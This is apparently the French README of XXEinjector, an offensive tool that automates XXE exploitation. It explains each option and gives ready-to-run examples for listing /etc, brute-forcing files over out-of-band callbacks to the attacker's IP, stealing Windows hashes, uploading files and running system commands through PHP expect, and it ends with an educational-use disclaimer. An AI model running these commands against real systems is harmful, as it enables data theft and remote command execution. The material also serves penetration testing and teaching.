
Outil pour l'exploitation automatique de la vulnérabilité XXE en utilisant des méthodes directes et différentes hors bande.
XXEinjector automatise la récupération de fichiers à l’aide de méthodes directes et hors bande. Le listage de répertoires fonctionne uniquement dans les applications Java. La méthode par force brute doit être utilisée pour les autres applications.
--host Obligatoire - notre adresse IP pour les connexions inversées. (--host=192.168.0.2)
--file Obligatoire - fichier contenant une requête HTTP valide avec du XML. Vous pouvez également marquer avec « XXEINJECT » un point où le DTD doit être injecté. (--file=/tmp/req.txt)
--path Obligatoire si énumération de répertoires - Chemin à énumérer. (--path=/etc)
--brute Obligatoire si force brute de fichiers - Fichier avec les chemins à bruteforcer. (--brute=/tmp/brute.txt)
--logger Journaliser uniquement les résultats. N’envoyez pas de requêtes. Le journaliseur HTTP recherche le paramètre « p » avec les résultats.
--rhost Adresse IP ou nom de domaine de l’hôte distant. Utilisez cet argument uniquement pour les requêtes sans en-tête Host. (--rhost=192.168.0.3)
--rport Port TCP de l’hôte distant. Utilisez cet argument uniquement pour les requêtes sans en-tête Host et pour les valeurs non par défaut. (--rport=8080)
--oob Méthode d’exploitation hors bande. FTP par défaut. FTP peut être utilisé dans n’importe quelle application. HTTP peut être utilisé pour la force brute et l’énumération par listage de répertoires dans les applications Java < 1.7. Gopher ne peut être utilisé que dans les applications Java < 1.7. (--oob=http/ftp/gopher)
--direct Utilisez l’exploitation directe au lieu de hors bande. Une marque unique doit être spécifiée comme valeur pour cet argument. Cette marque spécifie où les résultats de l’XXE commencent et se terminent. Spécifiez --direct-xml pour voir à quoi doit ressembler le XML dans le fichier de requête ou --localdtd-xml si vous souhaitez utiliser un DTD local lors de l’exploitation. En cas de problème avec les marques de début et de fin lorsque des caractères spéciaux sont présents dans la réponse avant ou après les données de sortie, veuillez utiliser l’option « match and replace » de Burp Proxy pour remplacer cela. (--direct=UNIQUEMARKSTART,UNIQUEMARKEND)
--cdata Améliore l’exploitation directe avec CDATA. Les données sont récupérées directement, mais OOB est utilisé pour construire la charge utile CDATA. Spécifiez --cdata-xml pour voir à quoi doit ressembler la requête avec cette technique.
--2ndfile Fichier contenant une requête HTTP valide utilisée pour l’exploitation de second ordre. (--2ndfile=/tmp/2ndreq.txt)
--phpfilter Utilise le filtre PHP pour encoder en base64 le fichier cible avant envoi.
--netdoc Utilise le protocole netdoc au lieu de file (Java).
--enumports Énumération des ports non filtrés pour la connexion inversée. Spécifiez la valeur « all » pour énumérer tous les ports TCP. (--enumports=21,22,80,443,445)
--hashes Vole le hash Windows de l’utilisateur qui exécute l’application.
--expect Utilise l’extension PHP expect pour exécuter une commande système arbitraire. Fonctionne mieux avec HTTP et PHP filter. (--expect=ls)
--upload Téléverse le fichier spécifié en utilisant le schéma Java jar dans un fichier temporaire. (--upload=/tmp/upload.txt)
--xslt Teste l’injection XSLT.
--ssl Utilise SSL.
--proxy Proxy à utiliser. (--proxy=127.0.0.1:8080)
--httpport Définit un port HTTP personnalisé. (--httpport=80)
--ftpport Définit un port FTP personnalisé. (--ftpport=21)
--gopherport Définit un port Gopher personnalisé. (--gopherport=70)
--jarport Définit un port personnalisé pour le téléversement de fichiers via jar. (--jarport=1337)
--xsltport Définit un port personnalisé pour le test d’injection XSLT. (--xsltport=1337)
--test Ce mode affiche la requête avec la charge utile injectée et se ferme. Utilisé pour vérifier la correction de la requête sans l’envoyer au serveur.
--urlencode Encode l’URL du DTD injecté. Par défaut pour URI.
--nodtd Si vous souhaitez placer vous-même le DTD dans la requête. Spécifiez --oob-xml pour voir à quoi doit ressembler le DTD.
--output Fichier de sortie pour le mode force brute et journalisation. Par défaut, il enregistre dans brute.log dans le répertoire courant. (--output=/tmp/out.txt)
--timeout Délai d’attente pour la réception du contenu du fichier/répertoire. (--timeout=20)
--contimeout Délai d’attente pour la fermeture de la connexion avec le serveur. Utilisé pour éviter les conditions de déni de service. (--contimeout=20)
--fast Ignore la question sur quoi énumérer. Sujet à de faux positifs.
--verbose Affiche des messages détaillés.
Énumération du répertoire /etc dans une application HTTPS :
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl
Énumération du répertoire /etc en utilisant gopher pour la méthode OOB :
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
Exploitation de second ordre :
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt
Force brute de fichiers avec la méthode hors bande HTTP et le protocole netdoc :
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc
Énumération par exploitation directe :
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARKSTART,UNIQUEMARKEND
Énumération des ports non filtrés :
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
Vol de hash Windows :
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes
Téléversement de fichiers avec Java jar :
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf
Exécution de commandes système avec PHP expect :
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls
Test d’injection XSLT :
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt
Journalisation uniquement des requêtes :
ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt
Avertissement
Ce dépôt contient un outil développé strictement à des fins éducatives. Toute utilisation abusive de l’outil à des fins illégales est strictement interdite.
Mention légale
Il est important de comprendre et de respecter toutes les lois et réglementations locales relatives à la cybersécurité et au hacking éthique. L’accès non autorisé à des systèmes informatiques, des réseaux ou des données est illégal et puni par la loi. Le développeur de ce dépôt n’est pas responsable de toute utilisation abusive des outils qu’il contient.
En utilisant les outils de ce dépôt, vous acceptez de les utiliser de manière responsable et éthique. Obtenez toujours une autorisation explicite avant de tester ou de tenter d’accéder à un réseau, un système ou des données qui ne vous appartiennent pas.